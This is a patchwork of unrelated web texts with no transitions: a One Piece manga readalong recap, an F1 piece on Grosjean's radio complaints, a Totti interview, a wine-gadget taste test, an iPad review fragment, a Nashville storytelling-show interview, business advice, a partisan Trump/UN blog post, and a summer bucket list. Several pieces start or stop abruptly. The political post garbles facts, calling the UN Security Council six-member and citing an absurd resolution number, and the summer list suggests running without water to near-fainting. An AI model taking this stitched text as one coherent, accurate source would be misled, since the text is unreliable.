It’s much more than a manga these days: there’s anime adaptation with more than 800 episodes,a dozen films, and even trading card games. But the manga is where it all started—which is why, to celebrate its 20th anniversary, we’re launching a readalong that will plow through all 80-plus volumes to-date, with an aim to finish up sometime around the official aniversarry date on July 19, 2017. Whether your a longtime member of Luffy’s pirate crew or diving in for the first time, it’s going to be a blast.
Details, Details
We’re basing this readalong on the Viz Media English language omnibus editions, which collect three volumes each—what I like to call the “One Piece Extreme Maximum Experience.” Depending on your manga literacy, you may be able to read the whole omnibus at once, as they can go pretty quickly once you’ve mastered reading right-to-left. If you’re still getting used to manga (whether the reading direction or art style), reading one volume at a time might be more approachable. Take your time! We’ll be here when you finish.
One Piece is a rich experience. Each chapter is rich in visual detail and plot incident, and Eichiro Oda loves to revisit a seemingly minor detail a few hundred chapters later to reveal unforeseen significance—which is why it’s so rewarding to reread. Join us, and prepare to ugly cry over pet food, hats, armbands, wood, and giant whales.
Side Segment Introduction: Devil Fruit Alert!
Many characters in One Piece have superpowers, gained by eating mysterious “Devil Fruits.” Each Devil Fruit tastes terrible, but after it’s consumed, it will grant the diner nigh-magical abilities, with the downside that they’ll lose the ability to swim forever. (Not great for a pirate.)
The source of Devil Fruits and their history is part of the overarching mystery of the series. Because they’re so rare, they’re very expensive. To begin the series, it helps to know the three basic types of Devil Fruit:
Paramecia, which grants superhuman physical abilities
Zoan, which allows people to turn into a specific animal and have associated abilities
Logia, which allows people to turn into elements, making them intangible
As new Devil Fruits and Devil Fruit users appear, we’ll note them, to help readers keep track of the fruits and the people who wield their power.
Monkey D. Luffy leaves his home and sets out on an adventure to fulfill his dream of becoming the pirate king, and to keep a promise he made 10 years earlier to a trusted friend. As he sets out across the waters of the East Blue, he meets his first enemies, ranging from government officials, to pirates, to spoiled brats. He also makes a lifelong friend or two, and signs up his first crew members. He also punches quite a few people directly in the face.
Our Adventure Begins…
We begin Luffy’s story, oddly enough, with the beheading of infamous pirate Gold Roger. Before he’s executed, he challenges the world to find his legendary treasure, One Piece, which kicks off a massive era of piracy.
We slide back in time a year or so and meet a young Luffy, the pirate captain Red-Haired Shanks, and his crew in a pub. They’re taunted by local bandits, who insult and attack Shanks, leaving Luffy furious; he looks up to Shanks and can’t believe he would let himself be treated so horribly without retribution. As Luffy attempts to storm off, Shanks holds him back, and his arm stretches like rubber! It seems Luffy has eaten the Gum Gum Fruit!
Devil Fruit Alert!
Shanks and his crew stole the Gum Gum Fruit from another pirate crew before stopping at Luffy’s village. Little did they know Luffy was going to eat the whole thing for dessert, turning his body into rubber (lesson learned: never leave your Devil Fruits unattended).
The Gum Gum Fruit allows Luffy to stretch and distort his body, rendering him impervious to most physical attacks, but it also means he can never learn to swim.
Our first Devil Fruit user: Monkey D. Luffy, Rubber Man.
That’s not the last time we hear from these bandits. After Luffy insults them for making fun of Shanks, he gets kidnapped, and the chapter ends on a dramatic and violent note, shaded by true friendship between Luffy and Shanks. As Shanks leaves, Luffy swears he’ll become a pirate one day, and Shanks gifts Luffy with his straw hat. This moment is sweet, but also extremely important to Luffy’s dreams and the saga as a whole. Shanks will be referenced quite often, and is definitely a character of note.
After a 10-year time skip, we rejoin Luffy as he’s heading out to start his journey to fulfill his dream of becoming the pirate king. His adventures start rather auspiciously, as he barely survives a whirlpool and runs afoul of his first pirate. But he also manages to make his first friend, Koby, the abused cabin boy of a cruel pirate. Koby’s dream is to become a member of the Navy. Luckily, there’s a Navy base nearby!
Koby reveals to Luffy that the Navy base is also the location of Roronoa Zolo, pirate hunter. Luffy decides he sounds handy and wants to ask him to be part of his crew, but unfortunately, Zolo is being held captive by the ruthless and narcissistic Captain Morgan.
The Naval base adventure is where we first get to see Luffy in action for a longer battle as he teams up with Zolo to defeat Captain Morgan, who has been abusing his position and levying unfair taxes on his citizens, leaving them in poverty. The government corruption on display in these chapters is understated due to the wild antics of our heroes, but no less horrific. It’s simply that most of the terrible parts are contained in negative spaces and readers have to infer quite a bit from the details Oda provides.
Captain Morgan has a giant axe hand and a giant ego to match, and his son, Helmeppo, is a whiny brat. Luckily, Luffy is here to save the day, because nothing gets in the way of his dream of becoming the pirate king and building an awesome crew, not even a power mad Navy captain.
This is also where we encounter our first flashback, reveal complicated or tragic backstories of the people Luffy meets (general manga hint: if the border around the panels is black, it’s a flashback). Flashbacks are a common feature of shonen manga, and Oda uses them to maximum effect, generally to jab your heart as hard as possible. A piece of Zolo’s past is revealed to us, and back in the present it becomes clear why he eventually chooses to become the very first member of Luffy’s crew: Zolo’s dream is to become the greatest swordsman in the world because of a promise made to a childhood friend. By this point, it should be obvious that Luffy cares deeply about not just his dream, but the dreams of everyone else, and he gets annoyed when people are apathetic or too scared to strive for their goals. The fact that Zolo has a dream that rivals Luffy’s in scope makes them a perfect, and terrifying, match.
Zolo uses three swords, one of which he holds in his mouth…and he can still talk, somehow. (One Piece requires pretty epic suspension of disbelief, but this one is okay, because Zolo is fantastic.) Pay attention, starting now, to how Zolo uses his black bandana.
After restoring the Navy base to law and order, Luffy says goodbye to Koby, who remains to join the Navy, fulfilling his dream. Although they’re now technically enemies, we’ll soon learn that Luffy doesn’t handle traditional social groups like anyone we’ve ever met. Zolo and Luffy head back out to sea…
…but they don’t take any food.
Desperately hungry, they try to figure out what to eat. When Luffy spots a bird in the air, he launches himself up to capture it, but it’s a bit larger than he anticipated. He gets carried off in the bird’s mouth, leaving Zolo to frantically paddle after him. Zolo accidentally encounters three freshly robbed pirates who are bobbing in the sea, and after he convinces them they don’t want to pick on him (with his fists), together they row in the direction Luffy was last seen.
If you’re keeping count, this is the second Unfortunate Incident Luffy has experienced at sea since leaving home. He can’t swim, navigate, plan a voyage…you’d start to think, wow, this kid is dumb. But is he? If you could hear me now, I would laugh maniacally and then trail off without explaining myself…so imagine that before moving on to the next paragraph.
On an island, an unnamed girl is running away from another group of pirates, carrying a stolen map, when Luffy drops in on them (literally). Seeing a prime escape opportunity, the girl labels Luffy as her boss and skedaddles, leaving Luffy to take the fall for her thievery. When the pirates attack Luffy and knock his hat off his head, it’s on. This is another moment to note: the deference with which Luffy treats his hat is a piece of mostly silent world building; the hat represents his friendship with Shanks, their trust and affection, and his promise to become the pirate king. Because the pirates mess with his hat, Luffy wipes the floor with them. The mystery thief suddenly appears again, impressed, and offers to team up with him to rob pirates.
Her name is Nami, and she’s earning money to buy a village. She stolen the map to the Grand Line—that’s where pirates go to prove themselves and grow rich. She’s convinced robbing the pirates there will be extremely profitable. Her hatred of pirates is deep and vicious, and once she figures out that Luffy’s a pirate, she’s immediately put off. It only grows worse when Luffy invites her to be his navigator. She’s strategic, which doesn’t bode well for Luffy, because the pirates in the village still have lots of treasure, and Nami wants it.
Her solution? Sneak into the pirate crew using a hogtied Luffy as a trick, get everyone super drunk, and then make off with their treasure. This is the first time we meet the pirate Nami stole from, Buggy the Clown, and yes, he has a big red nose. But he’s very sensitive about it, so don’t say anything. Although Nami’s plan almost succeeds, she fails to account for the brutality of Buggy and his crew, and when he challenges her to kill Luffy, she falters. Nami is many things, but “murderer” isn’t one of them.
Luckily, Zolo finally arrives and saves the day (he saves the day a lot and it’s pretty dreamy). Although Zolo is an excellent swordsman, he’s no match for Buggy, who, unbeknownst to him, is also a Devil Fruit user. He stabs Zolo with a floating hand!
Devil Fruit Alert!
The Chop Chop Fruit gives the user the power to section their body into pieces, which allows Buggy to split apart and use his individual part independently of one another. Of course, the ability comes with one downside: multi-tasking is tough, and when you spread your body across a wide range of space, you might get a nasty surprise…
Our next Devil Fruit user: Buggy the Clown, chop chop man.
Using quick thinking, the trio escape Buggy and his pirates. Unfortunately, Zolo is extremely hurt and Luffy is trapped in an iron cage. While assessing their situation, they meet a lone dog, guarding a pet food store, and then the mayor of the village Buggy has attacked. The mayor, Boodle, helps Zolo find a place to rest, then tells Nami and Luffy all about the dog, whose owner died and who has been protecting the store for months. This is another one of Oda’s heart wrenching backstory tricks. It’s super effective, unless you’re dead inside, when one of Buggy’s crew members and his giant lion come, attack Luffy, beat up the dog, and set the pet store on fire.
(Who beats up a dog? ONLY VILLAINS.)
Luffy’s reaction is quick and merciless. I have the benefit of multiple rereads of One Piece, deep into the series, and I know a lot about Luffy and his development. But seeing this early version of him immediately come to the defense of the dog, and then very quickly, the mayor of the town, is pretty heartwarming. It cements his character very early as one of good faith and honor. One of the best things about One Piece is its heart, and Luffy is most certainly a huge part of that.
You won’t be surprised to learn that Luffy and Zolo challenge Buggy and his crew to a battle to stand up for the village, even though Zolo is still injured. This battle is one of the first to expand over multiple volumes; these conflicts are not only fights between strong opponents, but snapshots of our heroes deciding what type of people and fighters they are and where their moral centers lie, making choices that will change who they are.
Hard truth: my least favorite part of One Piece is how Oda can stretch out a fight out until you’re dragging yourself through the pages, begging for it to end. Of all the issues I have with the manga, this is a very small one, but you can treat this first big boss battle with Buggy as a measuring stick: were you bored at all? Because the battles don’t get shorter. Luckily, the art style is such that important moments in a fight are often obvious. I hereby give you permission to skim as many battles as required to stay invested in the larger story.
After Zolo effectively discards one of Buggy’s crew members, the final battle begins. In the midst of Luffy and Buggy’s fight, Buggy makes a surprising revelation, and we’re treated to the backstory about how Buggy acquired his powers by eating the Chop Chop Fruit. He also reveals that he used to crew on a ship with someone Luffy knows. The hows and whys are better discovered via a close reading of the manga. But it is funny, and Buggy is ridiculous, so don’t miss out. Luffy and Buggy’s battle itself is comical and neat, and full of fart-joke level humor I liked at 12, and also three days ago.
After the battle ends, the trio has to book it out of town, because the villagers mistake them for the dog-kicking pirates who punched the mayor. Well, Luffy did punch the mayor, but only to keep him from rushing into a battle in which he would’ve been killed. Thankfully, the mayor manages to make it to the harbor to say goodbye. A common theme for Luffy is how he makes allies and friends, and the way he leaves them: it’s a nice thread to watch for.
There’s a small side story in the last volume about a man trapped on an island that doesn’t seem very relevant or important yet, but pay attention anyway. One Piece is a huge world, full of stuff. Oda is not kidding around with the worldbuilding; every single filler chapter that breaks from the main storyline will probably be important down the road. “What is this nonsense?” I used to ask, annoyed, when Oda derailed from Luffy’s main journey. Later, I would regret skimming when seemingly insignificant detail suddenly became relevant. Sometimes, worldbuilding is just worldbuilding, but with Oda, worldbuilding could be the axle the plot turns on in a few hundred chapters. It helps to pay attention! Then you’ll at least know where to go back to for a refresher (and you will probably need refreshers).
The last part of this collected volume introduces us to a new village that Luffy and his friends visit, meeting several new characters: Usopp, a boy with sharpshooting skills, whose father is a pirate, and his young friends. Usopp is a bit arrogant and naive, but has a good heart. He’s also a bit of a trickster, and he often trolls the village by pretending pirates are coming. He’s basically a smart, bored kid with too much time on his hands.
Yeah, you might see where this is going.
Usopp has a friend named Kaya, who is ill. She has a butler named Klahadore who has cared for her since her parents died. Kaya is gentle and sweet-natured and loves Usopp’s fantastical stories. Of course, Klahadore doesn’t like Usopp at all, and insults his father when he discovers Usopp visiting Kaya one day, leading to a fight. Usopp refuses to back down because he’s never going to be ashamed of his father. He storms off, leaving Kaya upset and Klahadore feeling righteous.
Later, when Luffy finds Usopp at the coast, they overhear a strange conversation between a pair of pirates on the beach planning to murder Kaya! They’re discovered when Luffy openly challenges their plans. Before Luffy and Usopp can escape, one of the men hypnotizes Luffy, leaving him unconscious on the beach. That leaves only Usopp with the truth of what he knows about the plot to kill Kaya and steal her inheritance…after all his previous lies about pirates.
Awkward.
Takeaways
One Piece’s world is already large, and we’re only three volumes into the narrative. In the first omnibus volume, we meet over 10 characters, many who will be back later. Luffy makes several friends, adds one new crew member, Zolo, and one grudging partner who hates pirates, Nami. He’s filled his first mate and navigator positions, and he’s managed to beat up two whole pirates and stop their reign of terror.
This was one of my main points of bemusement going into One Piece: I thought Luffy and his friends were pirates, not heroes, because it’s seems very weird that they’ve only really managed to do good deeds so far, even if they have caused a ton of property damage in the process. If you’ve had the same thought: you’re right. It’s an interesting development, isn’t it? This question becomes more and more relevant the deeper you go into the series…and there are answers to be had. But you’ve got to keeping reading for that.
Next time
We’ll be diving into the second omnibus, which includes Volumes 4, 5, and 6, and features the dramatic ending to Usopp’s story. I hope you’ll join us as Luffy and crew continue on their adventures.
The Frenchman, who qualified four places behind teammate Kevin Magnussen in Baku and is set to start the race in 16th, has had many of his radio transmissions featured on F1's world feed throughout the Azerbaijan GP weekend as he voiced his annoyance over brake problems and the resulting lock-ups.
But Grosjean, who had in the past admitted he was worried about coming off as an "asshole" due to the broadcasting of negative radio messages, has now suggested that he was being unfairly singled out.
Asked by Motorsport.com whether he felt his communications with the team were being put in the spotlight, he said: "Yes, and I'm very fed up with it.
"Everyone is saying things [on team radio], and when I'm saying things, it's just for the team, it's not for the outside world. It's our internal business, if I have rear locking and front locking or whatever.
"I've been broadcast much more than others and I'm pretty sure others have been swearing and not being happy sometimes.
"I just feel that they have been a bit unfair and I'm tired [of it]."
During his first season with Haas in 2016, Grosjean said he would attempt to be "a little bit more quiet" in communicating with the team "because it was playing on TV and people who don't know, they think it's wrong".
A year on, he insists he has indeed made an effort to tone down his messages, but he believes they continue to be picked up by the world feed because his continuing brake issues have been a "sketch".
"You know, I can fight my nature, which I've been trying to, but it's not really what I want," he said. "I've tried, and I need to try more... but I don't know.
"It's a sketch because it's been a year and a half. But things should be better soon."
"Nobody knows him like we know him"
For his part, team boss Gunther Steiner again backed Grosjean, saying the outbursts on the radio were no issue.
On the matter of Grosjean's radio messages being unfairly singled out, Steiner joked: "It's like we wait after until Romain is on the radio, 'boom, straight into it', they cannot wait.
"But, again, if you take the positive side, it's like they broadcast him all the time. Is it bad, is it good, I don't know - it's a very strange thing."
He continued: "The thing is, nobody knows him like we know him. He has got this moment and afterwards he comes in and says 'hey guys, sorry I didn't qualify better but I just can't deal with this'.
"As long as he's not disrespectful to any one person, I find - you know, when you get personal, then it's not good anymore, in my opinion.
"He never has a go at a guy. When you start effing and cussing at a person, then I would say 'it's enough now'. But he's frustrated about something that is happening to him, not about a person.
"Could he avoid it, would it be better for him? Maybe, yes, but he is to judge. He is human so I'm not judging him on that one.
By Football Italia staff
Francesco Totti felt his best teammate was Antonio Cassano, then discussed his rapport with Roma Coaches including Zdenek Zeman and Luciano Spalletti.
The captain turned 40 last month and sat down to look back through his career with the Corriere dello Sport.
He was asked to name the best player he ever worked with.
“Technically Cassano. Cassano, because we conversed with each other on the field and could find each other at any moment. I had a great rapport off the pitch with him too, so we were in total sync.
“We are talking about not just one of the best players in Italy, but in Europe, because in terms of talent alone he is a phenomenon.
“Then there’s Gabriel Batistuta, Vincenzo Montella, those players who made football history. They should be remembered because it was a pleasure to watch them and I was fortunate enough to play alongside them too.”
Totti’s relationship with his Coaches didn’t always go smoothly in the Giallorossi camp.
“The Coach I got along with the best was Zeman. In truth, I never had problems with the tacticians, because I always did my duty, respected them and I want to repeat I never got any Coach fired from Roma. The club always did everything.
“Perhaps the only one I had a few issues with was Carlos Bianchi. I was still young and he wasn’t very interested in the local players, as he liked the foreign ones more. Being Argentinean, he knew more about the foreign players and was unconvinced by the Romans.
“He tried in every way to push me towards new horizons. He almost managed it too, because I had agreed terms with Sampdoria. I signed the contract with them and the day after there was a tournament at the Olimpico against Ajax and Borussia Dortmund. It was the night before I was meant to leave for Sampdoria.
“Perhaps it was destiny, but that night I scored two goals against both Ajax and Borussia Dortmund. Ajax had a strong player that Bianchi wanted at all costs, but after the game (President Franco) Sensi dug his heels in and said I wouldn’t be leaving.
“At the end of the day the move collapsed and I stayed. Bianchi said it was him or me and Sensi chose Totti. From there, everything changed…”
Totti has had some issues with current boss Spalletti in recent months, but insists these were all blown out of proportion.
“I have a good rapport with Spalletti and it goes beyond football. He’s a good person, he has his own values and has done a lot for me. He wants to win and as a Coach has a football culture that goes beyond the norm.
I soon discovered that the wand is one of several wine-enhancement devices marketed to drinkers who can’t wait for their wines to taste their best. But it doesn’t come with the weirdest explanation. That distinction belongs to a bottle collar that claims to modify a wine’s tannins. With magnets.
A couple of wine enhancement devices simply aerate wine, just as sloshing it around in the bottle or glass would. There is a battery-powered frother, and a small glass channel that adds turbulence and air bubbles as the wine flows through it from the bottle into the glass.
More intriguing was something called the Clef du Vin, or “key to wine,” a patented French product sold in several sizes, starting with a pocket size that costs about $100. It consists of a quarter-inch disc of copper alloyed with small amounts of silver and gold, embedded in a thin stainless-steel plate. The user is directed to dip the disc briefly into a glass of wine. A dip lasting one second is said to have the same effect as one year of cellar aging.
Copper, silver and gold are all known to react directly with the sulfur compounds found in wine. Copper (and the iron in my knife) also catalyzes the reaction of oxygen with many molecules. Slow oxidation in the bottle is known to cause the tannins in aged red wines to become less astringent, and it’s widely believed that aerating a young red, for example by decanting it, promotes rapid oxidation and softens its tannins.
Maybe this Clef was something more than a gimmick.
To help me evaluate the Wand, the Clef and the whole idea of enhancing freshly opened wine, I called on two friends, Andrew Waterhouse and Darrell Corti. Mr. Waterhouse is a professor of wine chemistry at the University of California, Davis, and a specialist in oxidation reactions and phenolic substances, including tannins. Mr. Corti is the proprietor of Corti Brothers grocery in Sacramento, one of the most influential wine retailers in California, and a recent inductee into the Vintners Hall of Fame.
We met at Mr. Corti’s house for an afternoon of taste tests, lunch and discussion. Some tests were blind, others open-eyed. By the end, we had indeed detected some differences between carafes and glasses of wine that were treated with the Wand or the Clef, and the wines that were left alone. The differences were not great, and not always in favor of the treated wine, which usually seemed to be missing something.
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Mr. Corti said: “There do seem to be differences. The question is, are they important differences? You could buy a lot of good wine for the price of that wand.”
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He also pointed out that the Clef is a very expensive version of the copper pennies that home vintners have long dipped into wine to remove the cooked-egg smell of excess hydrogen sulfide.
Mr. Waterhouse thought the elimination of sulfur aromas is all that these accessories — or, for that matter, aeration — had to offer.
“A number of sulfur compounds are present in wine in traces and have an impact on flavor because they’re very potent,” he said. “Some are unpleasant and some contribute to a wine’s complexity. You can certainly dispose of these in five minutes with a little oxygen and a small area of metal catalyst to speed the reactions up, and change your impression of the wine.”
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But Mr. Waterhouse maintained that no brief treatment could convert the tannins to less astringent, softer forms, not even an hour in a decanter.
“You can saturate a wine with oxygen by sloshing it into a decanter, but then the oxygen just sits there,” he said. “It reacts very slowly. To change the tannins perceptibly in an hour, you would have to hit the wine with pure oxygen, high pressure and temperature, and powdered iron with a huge catalytic surface area.”
So why do people think decanting softens a wine’s astringency?
“I think that this impression of softening comes from the loss of the unpleasant sulfur compounds, which reduces our overall perception of harshness,” Mr. Waterhouse said.
With devices debunked and aeration unmasked as simple subtraction, the conversation turned to genuinely useful tips for handling wine.
Mr. Waterhouse said that the obnoxious, dank flavor of a “corked” wine, which usually renders it unusable even in cooking, can be removed by pouring the wine into a bowl with a sheet of plastic wrap.
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“It’s kind of messy, but very effective in just a few minutes,” he said. The culprit molecule in infected corks, 2,4,6-trichloroanisole, is chemically similar to polyethylene and sticks to the plastic.
He also counseled a relaxed approach to wine storage, which he adopted in the 1980s after moving from California to Louisiana and back.
Mr. Waterhouse had a small collection of fine wines that he kept for a few years in a New Orleans closet with no temperature control. When it came time to return to California, he thought there was no point in shipping wines that had probably been spoiled in the southern heat. So he started opening them.
“There was one bottle, I think a Concannon cabernet, that was absolutely spectacular,” he recalled. “A lot of that wine had sat in our accelerated aging system and reached perfection.
“So there’s no single optimal temperature for aging wines. I’d tell people who don’t keep wine for decades to forget about cellar temperatures. Take those big reds and put them on top of the refrigerator, the most heat-abusive place you can find, and in three years they’ll probably be at their peak.”
Mr. Corti agreed.
CR's decision is in line with many gadget critics who have lauded the iPad for its 2048-by-1536 display, 5-megapixel rear-facing camera, and 4G access. PCWorld in mid-March ranked the new iPad as the top tablet money can buy giving the tablet 4.5 out of 5 stars.
[RELATED: *New iPad vs. iPad 2: Which is the Better Deal?]*
As for that sweltering 116 degree heat Consumer Reports reported, the magazine says the "new iPad is warmer in its hottest spots than the iPad 2. But we didn't find those temperatures to be cause for concern." During the iPad's purported heat controversy, PCWorld's tests found heat levels in the new iPad were comparable to Android tablets. PCWorld's tests did find, however, that the new iPad runs "hotter than the iPad 2, [but] the difference wasn't great."
One interesting difference between Consumer Reports' findings and PCWorld's was in the device's battery life. CR said the "iPad still has longer battery life than all other tablets." PCWorld's tests, however, found the third-generation iPad's battery life couldn't match other tablets including the iPad 2, the Asus Eee Pad Transformer Prime, or the Wi-Fi only Samsung Galaxy Tab 10.1.
Similar to CR, PCWorld Labs testing also found that Apple's newest tablet charges only minimally when in use.
Apple's newest iPad is the first iOS slate to feature 4G connectivity, the device also has a dual-core Apple A5X chip with enhanced graphics capability, Bluetooth 4.0 and 802.11a/b/g/n Wi-Fi, and a 5-megapixel camera with 1080p video capture at 30 frames per second. The iPad (third generation) ranges in price from $500 to $830 depending on storage and connectivity options.
S&E: How long has TTOTM been in Nashville? How did the event move into its current home at Zanies?
CP: That Time of the Month showed up in Nashville in April of 2012. Melanie Vare, the show’s creator, brought it with her when she moved here from Los Angeles. We began at Bongo Java After Hours Theatre, then moved to Cafe Coco for a few years, before doing a short stint at the Tin Cup and finally ending up at Zanies. It was a huge rush when they said, “Yes, bring the show here.” It felt like we’d finally made it.
S&E: The theme for the next show is “middle school.” How did you come about choosing the topic?
CP: “Middle school” happened because Autumn Jones, Christy James and I (the three producers of TTOTM) were talking about something that’d happened to Christy’s son, who is in middle school. This led me to talk about how I’d once cast a love spell on a girl using an apple, and how it understandably made me the “weird guy” in middle school, and we all said, “Hey, middle school sucked for everyone. We need to do a show about that.”
S&E: What themes have you had in the past?
CP: We’ve done a lot of themes: Prom, overindulgence, boys will be boys. You’re always trying to think of something new, even though everything’s been done before. I honestly have no idea how This American Life has done it so long.
S&E: What are some memorable TTOTM moments?
CP: I think for me, one of the best shows we’ve ever done was this past summer at Parnassus [Books]. I’ve been trying for two years to get them to let us host TTOTM there and finally they let us do it. In my mind, I kept having these romantic daydreams of “Ann Patchett is going to be there, sitting front row and smiling,” then thinking, “Oh come on, she has far better things to do on her Sunday afternoons.” But sure enough, there she was: Front row, with her mom. Smiling. You don’t get to do that every day.
S&E: How did your stint as a Victoria’s Secret employee lead to your becoming a regular at TTOTM and other shows in town?
CP: I took the job at Victoria’s Secret to study girls and kept a journal the entire time of strange/interesting things I observed. Almost immediately I realized I had great writing material at hand, so I began working on essays about it. I remember asking my therapist at the time (which you need after selling thongs for a year), who was a poet, if she knew of any places I could read my material like David Sedaris. She said she didn’t, but I kept thinking, “I need somewhere I can read my material.” This became like a mantra for me for six months, until I walked into Bongo Java one day and saw this banner about That Time of the Month: Funny Female Storytelling.
It was perfect—as long as they allowed guys. I nearly sprinted home to look it up on Facebook, and when I did, I found Melanie’s contact info and I very rabidly wrote her an email saying I was a writer who wanted to perform some humorous material about working at Victoria’s Secret . . . foaming at the mouth. Thankfully, she allowed one “token guy” per show, and I was the first to grace her stage in Nashville. That was May 2012. I basically weaseled my way into reading in her Aug. 2012 show; then she asked me to host/produce an all guys version of the show for Sept. 2012, which I did gladly. Then I joined the podcast a few months later, and she asked me to be a co-producer. I’ve never looked back.
Everyone makes fun of The Secret and the power of positive thinking, including me. But I largely credit that mantra, “I need somewhere I can read my material,” with making it all happen. It was like the Room of Requirement in Harry Potter. I kept walking by Bongo Java each day, thinking about it, and boom – one day it appeared.
Anything else you’d like to add?
CP: I’d like to give a big shout out to Tenx9 Nashville, True Stories: NSFW, Life Out Loud and East Side Storytellin’ for helping make storytelling such a force in town. If anyone is interested in writing for the show, email TimeOfMonth@gmail.com, or like us on Facebook and send us a message.
(Here is Christopher Pilny’s performance of “Memoirs of a Panty Slinger, or Rebel without a Bra”.)
May 10, 2004 4 min read
Opinions expressed by Entrepreneur contributors are their own.
Q: I am considering whether to take the plunge and make a business out of one of my hobbies. How do I know if I have what it takes to be a full-time entrepreneur?
A: There is obviously no aptitude test that can tell you if you are suited to entrepreneurship. However, after you've evaluated the feasibility of turning your hobby into a business, it is worth asking yourself a few questions to determine if you have the characteristics of an entrepreneur.
1. How committed are you? Successful entrepreneurs are committed to their businesses. This is simple to understand, but difficult to put in practice. Are you the type of person who has many hobbies and likes to dabble without commitment? Would you be easily distracted by the next business idea that strikes your fancy? When faced with a task, successful entrepreneurs are generally committed to excel and will not waver when the going gets tough.
2. Is your glass half full or half empty? Not all optimistic people are entrepreneurs, but almost all entrepreneurs are optimistic people. From the owner of the local florist to the founder of a Fortune 500 company, the common thread that runs through the fabric of entrepreneurship is the ability to see a positive opportunity in an otherwise challenging situation. Without confident optimism, it is very difficult to motivate employees, persevere in downtimes and keep your business growing.
3. Do you like to make decisions? Very few of us enjoy making decisions. Decisions mean commitment. Bad decisions lead to problems and can mean losing the respect of one's peers. Owning a business-particularly an undercapitalized startup-is all about making decisions with limited market research and imperfect information. Should you locate the business in your home or incur the costs of a separate office? Should you hire a marketing consultant or a full-time salesperson? How should you price your new products? What should be your first target market for your products? One of the main differences between having a hobby and having a business is the need to make real decisions with financial implications. Will you enjoy it?
4. Do you have the money to make it happen? Once you've written a business plan and established that your hobby can indeed be a sustainable business, the next step is to finance its execution. Unless you thrive on adversity, don't quit your day job until you know that you have sufficient money to fund your business plan. Getting financing is not easy and requires personal sacrifice-whether it involves borrowing from your family's savings, your relatives and friends, credit cards or professional investors. If things don't work out exactly as mapped out in your business plan, will you be able to support a contingency plan to ensure that the business survives? If you don't have the money from your personal network, will you be willing to sacrifice ownership and control to outside investors?
5. Do you like to sell? When I interview candidates for a position at my company, I ask them how they feel about selling. Some of them inevitably shift in their seats and give a half-hearted answer that they do not mind selling when they are asked to do so. Other candidates brighten up and persuade me that selling is a natural part of any job-even if they have never had a sales job. As an entrepreneur, you work in sales. You will have to sell your products, sell your vision for the company and sell yourself. And you will have to do this every day, multiple times. And you will enjoy it-that is, if you are suited to be an entrepreneur.
The Trump approach at choosing the battle-space timing and geography has proven to be successful. Indeed, it makes no sense to wage a fight on your rear while the frontal assault is ongoing; the goal is always forward progress. Beyond the battle-lines this larger understanding of strategy has also been a key element in comprehending how President Trump positions the GOPe party members.
So when Mrs. Rubio rises today at the U.N. to decry the horrible Syrian dictator Bashir Assad, what we witness is just another example of a predictable and useful placement. Everyone selected by Trump was for a reason and a purpose. Everyone has a role to play, and Mrs. Rubio is playing her role exactly as President Trump would expect.
If you think that President Trump’s larger goals are being undermined by Mrs. Rubio, you are undervaluing President Trump’s understanding of his adversaries in the Republican Party.
Mrs. Rubio strokes the war-mongering GOPe panda fur in the direction that keeps them satiated. A comfy, unconcerned and content GOPe is part of the Trump political strategy to accomplish change.
It’s the U.N !
Nothing would be better for President Trump than to have Ambassador Mrs. Rubio spend a few weeks constructing a U.N. Security Council resolution against Bashir Assad, when two of the five permanent veto-holding member nations are China and Russia.
Gnash your teeth Mrs. Rubio. Shout, hold meetings, write voluminous ‘sternly worded’ letters constructing the outline for Security Council Resolution #785,547.332
Then hold meetings, meetings are good. Form a coalition of member nation states that will align with your humanitarian endeavors. Perhaps a visit to Brussels would be in order. Gather together an alliance of defense ministers to support you.
Then get the resolution printed, bring it up for a vote, and watch Russia veto it in the six member council.
Russia bad, bad mojo.
Meanwhile the Freedom Alliance continues moving forward.
1. Lay out in the grass
I’m not talking about a picnic, so no blankets. Just take off your socks and shoes, find a nice big patch of lawn somewhere, and sprawl out. Stretch every limb out as far as it’ll go, making sure to grab big fistfuls of grass when your arms have extended to the max. Roll around a few times, ideally at around three or four in the afternoon, the sun at that perfect forty-five degree angle of shine, while you think to yourself, I could fall asleep here, seriously, why don’t they make beds as comfortable as they make this lawn?
This particular activity is best enjoyed right now, these very first few days of summer. After a wet spring, the grass is finally soft and full for the first time all year. And since it’s still early in the season, the infinite broods of mosquitos and beetles have yet to really assert their presence to the outside world. Enjoy it while you can, because summer only gets hotter, and the grass is never as green as it is by the end of May.
2. Plan a picnic
Maybe I’m crazy, but I feel like if you plan a picnic anytime past mid-June, the whole event invariably winds up getting overrun by bees. But much like my earlier point about mosquitos and beetles, the bee population just hasn’t had time to populate the area, let alone strategically plan out ways to circle all of your beloved picnic foods en masse.
But picnics are about so much more than food. It’s a great opportunity to play all of your favorite lawn games. I’m talking Can Jam, Corn Hole, badminton and croquet. Basically anything that’s really easy to set up and only involves one hand to play. I could play outdoor games for hours.
3. Eat a whole watermelon
I know that you can buy watermelon all year, but it’s something that you have to go out of your way to look for off-season, and it’s never really the same. Not like it is early summer, where every aisle of every supermarket is something like fifty percent stocked with watermelons. They’re everywhere, pre-sliced, cut up into cubes, blended into smoothies.
But trust me, the best way to eat a watermelon is whole. Even if you only do it once a year, it’s one of the most enjoyable methods to consume fruit. Buy the watermelon, put it in the fridge, and go out for a long run. Don’t bring any water with you, and make sure that you push yourself just up to that point where you feel like you might be in danger of passing out. Then come home and eat the entire watermelon. Eat it with a spoon. Slurp up the watermelon juice when you find yourself staring at an emptied out rind, asking yourself, did I really just eat a whole watermelon by myself? You did, and it was amazing.
4. Get some Mr. Softee
Wait until around two or three in the afternoon and then hang out on the corner of the local public middle school. OK, you know what? That came out wrong. Go to a park, take a walk past the a busy baseball or soccer field, or if all else fails, just sit by the front of your house with the window open, listening for that faint but unmistakable music-box melody, the Mr. Softee song. Slurpees are OK in a pinch, and I guess the pizza store Italian ices will work if you really can’t find a truck, but Mr. Softee is the preferred way to ring in the summer.
When it’s your turn on line, trust me on this one, don’t go for anything fancy, not yet. There’ll be plenty of opportunities later in the season to go for the milkshake or one of those Incredible Hulk popsicles with gumballs for eyes. But for the first Mr. Softee of the year, just get a classic soft-serve cone. One lick and I feel like I’m a little kid again, like I’m hanging out with my grandfather and he just bought me a cone. If you really want to get into it, make sure you get ice cream all over your shirt and face, but your mom’s going to yell at you for making such a mess when you get home.
5. Play some pickup basketball
Everybody always talks about playing basketball. At least, that’s what it was like for me. Every year around this time, all of the guys would start paying lip service to getting together at the park and running fives. But it can be intimidating, showing up at a court, everybody else is already playing, there are all of these unwritten rules and etiquette that everybody there already just kind of knows.
